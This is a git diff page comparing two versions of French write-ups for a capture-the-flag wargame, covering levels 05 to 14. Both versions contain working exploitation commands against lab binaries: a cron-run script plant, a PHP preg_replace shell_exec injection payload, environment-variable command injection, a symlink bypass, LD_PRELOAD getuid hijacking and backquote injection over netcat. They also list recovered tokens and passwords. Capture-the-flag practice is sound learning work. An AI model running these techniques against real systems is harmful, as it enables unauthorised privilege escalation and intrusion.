Compare commits
No commits in common. "723eb90403ad06ecbeb91e6f163078f7c7a9400f" and "b53806c7ed2783707a02201cbcd080094e1b3f2a" have entirely different histories.
723eb90403
...
b53806c7ed
|
@ -6,11 +6,7 @@ On peut cat le script il execute tout les fichier dans : /opt/openarenaserver/ p
|
|||
|
||||
En creant un fichier dans ce dossier on peut observer qu'il est rapidement suprimer, donc executer
|
||||
|
||||
il suffit d'avoir un fichier qui contient: getflag > /tmp/flag05
|
||||
il suffit d'avoir un fichier qui contient:
|
||||
getflag > /tmp/flag05
|
||||
|
||||
$ echo -e '#!/bin/bash \x0a getflag > /tmp/.flag05 ' > /opt/openarenaserver/exploit_05
|
||||
|
||||
puis au bout de 1 minutes:
|
||||
$ cat /tmp/.flag05
|
||||
|
||||
il sera alors execute et on pourra recuperer le flag dans /tmp/.flag05
|
||||
il sera alors execute et on pourra recuperer le flag dans /tmp/flag05
|
|
@ -13,9 +13,8 @@ on remarque qu'on peut utiliser une commande shell en php avec shell_exec, il su
|
|||
shell_exec(getflag)
|
||||
dans la regex
|
||||
|
||||
il faut un ficher avec: [x {${shell_exec(getflag)}}]
|
||||
puis rentrer ce fichier en argument du binaire level06
|
||||
|
||||
$ echo '[x {${shell_exec(getflag)}}]' > /tmp/exploit06 && ./level06 /tmp/exploit06
|
||||
il faut un ficher avec
|
||||
|
||||
[x {${shell_exec(getflag)}}]
|
||||
|
||||
puis rentrer ce fichier en argument du binaire level06
|
|
@ -17,8 +17,7 @@ sh: 2: Syntax error: ")" unexpected
|
|||
|
||||
on rajoute des backslashs
|
||||
|
||||
$ LOGNAME=\`getflag\` ./level07
|
||||
LOGNAME=\`getflag\` ./level07
|
||||
Check flag.Here is your token : fiumuikeil55xe9cu4dood66h
|
||||
|
||||
> Check flag.Here is your token : fiumuikeil55xe9cu4dood66h
|
||||
|
||||
Cela marche
|
||||
Cela marche
|
|
@ -5,9 +5,9 @@ alors le programme s'arrete.
|
|||
Il faut trouver un moyen de renommer token mais nous n'avons pas les droits dessus,
|
||||
par contre nous pouvons creer un lien symbolique qui ne contient pas le mot token
|
||||
|
||||
$ ln -s $PWD/token /tmp/test
|
||||
$ ./level08 /tmp/test
|
||||
ln -s $PWD/token /tmp/test
|
||||
./level08 /tmp/test
|
||||
|
||||
le token s'affiche : quif5eloekouj29ke0vouxean
|
||||
|
||||
il permet de se connected au compte flag08 puis on lance getflag
|
||||
il permet de se connected au compte flag08 puis on lance getflag
|
|
@ -27,8 +27,7 @@ Il faut juste enlever la premier virgule pour pouvoir initialiser un tableau sta
|
|||
|
||||
On a fait un fichier en C qui precede a appliquer l'inverse de la roation incrementale
|
||||
|
||||
# sur notre machine:
|
||||
$ gcc Ressources/decode.c && ./a.out
|
||||
$ gcc Ressource/decode.c && ./a.out
|
||||
> f3iji1ju5yuevaus41q1afiuq<75>
|
||||
|
||||
le dernier charactere corespond au "\n"
|
||||
|
|
|
@ -49,12 +49,11 @@ Le deuxieme va lancer l'executable level10 avec les bon argument
|
|||
Enfin le dernier va lancer des serveur netcat en boucle car on va aussi recevoir le fichier vide, il faudra alor relancer netcat
|
||||
|
||||
pour ca on copy les script shell depuis Resource sur la vm:
|
||||
$ scp -r -P 4242 level10/Ressources level10@127.0.0.2:/tmp/.level10/
|
||||
$ scp -r -P 4242 level10/Ressource level10@127.0.0.2:/tmp/.level10/
|
||||
|
||||
On lance chaque script dans une connection et le tour est jouer
|
||||
On obtien le mot de passe du compte flag10, qui est egalement le meme que le compte flag11
|
||||
|
||||
On peut en deduire que le level11 est optionel... Mais pour le jeux on l'a quand meme realiser
|
||||
|
||||
(Oui la derscription de ce level est tres verbeuse)
|
||||
|
||||
|
||||
|
||||
|
|
|
@ -24,7 +24,3 @@ $ cat /tmp/bingo
|
|||
> Check flag.Here is your token : fa6v5ateaw21peobuub8ipe6s
|
||||
|
||||
BINGO
|
||||
|
||||
Si non le mot de passe du compte flag11 est le meme que celui du compte flag10 et c'est:
|
||||
woupa2yuojeeaaed06riuj63c
|
||||
|
||||
|
|
|
@ -8,13 +8,11 @@
|
|||
# On ne poura donc pas executer de comande en tant que tel.
|
||||
# mais on peut executer un fichier
|
||||
|
||||
# Dans un fichier /tmp/.TOTO avec les droit en execution ont va mettre le contenu suivant:
|
||||
# Dans un fichier /tmp/.TOTO ont va mettre le contenu suivant:
|
||||
|
||||
#!/bin/sh
|
||||
getflag > /tmp/.flag12
|
||||
|
||||
$ echo -e '#!/bin/sh \x0a getflag > /tmp/.flag12' > /tmp/.TOTO && chmod 777 /tmp/.TOTO
|
||||
|
||||
# puis on envoie un requet avec des back-quote pour executer le fichier
|
||||
|
||||
$ nc -v localhost 4646
|
||||
|
|
|
@ -3,13 +3,10 @@
|
|||
|
||||
# on se place dans un dosier du /tmp
|
||||
|
||||
# depuis la vm:
|
||||
$ mkdir -p /tmp/.level13 && cd /tmp/.level13
|
||||
# on copie la fonction getuid adapter depuis la session extern:
|
||||
$ scp -P 4242 level13/Ressources/inject_getuid.c level13@127.0.0.2:/tmp/.level13/
|
||||
# depuis la vm:
|
||||
$ gcc -shared -fPIC -o inject_getuid.so inject_getuid.c
|
||||
|
||||
#puis:
|
||||
$ LD_PRELOAD=/tmp/.level13/inject_getuid.so ./level13
|
||||
|
||||
# LD_PRELOAD n'est pas charge, car une securite linux empeche LD_PRELOAD sur les exe qui ne nous appartiennent pas.
|
||||
|
@ -18,7 +15,6 @@ $ LD_PRELOAD=/tmp/.level13/inject_getuid.so ./level13
|
|||
# On copie alors l'executable dans /tmp/.level13
|
||||
# l'executable nmous appartient on peut donc utiliser LD_PRELOAD
|
||||
|
||||
$ cp ~/level13 .
|
||||
$ LD_PRELOAD=/tmp/.level13/inject_getuid.so ./level13
|
||||
> your token is 2A31L79asukciNyi8uppkEuSx
|
||||
|
||||
|
|
|
@ -11,18 +11,7 @@ On voit que la derniere chaine de caractere fait 39 caracteres au lieu de 25, on
|
|||
la mettre dans l'executable, ca segfault. Il faut trouver un moyen de la decouper en 2.
|
||||
|
||||
En entrant aaaaaaaaaaaaaaaaaaaaaaaaa comme chaine, on se rend compte que l'algo de decodage
|
||||
boucle tout les 6 caracteres:
|
||||
> your token is 13/5-713/5-713/5-713/5-71
|
||||
Alors on rentre les 25 premier caracteres de la chaine de 39
|
||||
boucle tout les 6 caracteres, alors on rentre les 25 premier caracteres de la chaine de 39
|
||||
puis les 14 derniers decales de 1(pour etre aligne aux 6 caracteres) et on concat les resultats.
|
||||
|
||||
La chaine source du flag est:
|
||||
g <t61:|4_|!@IF.-62FH&G~DCK/Ekrvvdwz?v|
|
||||
|
||||
On rentrera en premier:
|
||||
g <t61:|4_|!@IF.-62FH&G~D
|
||||
|
||||
puis 1 characeter, CK/Ekrvvdwz?v|, puis 10 charactere. Pour plus de lisibiliter en sortie on entrera, les '-' ne font pas partie du token:
|
||||
]CK/Ekrvvdwz?v|YaW][_YaW]
|
||||
|
||||
Cela marche et nous donne le mot de passe de flag14, qui est egalement le flag.
|
||||
Cela marche et nous donne le mot de passe de flag14, qui est egalement le flag.
|
Loading…
Reference in New Issue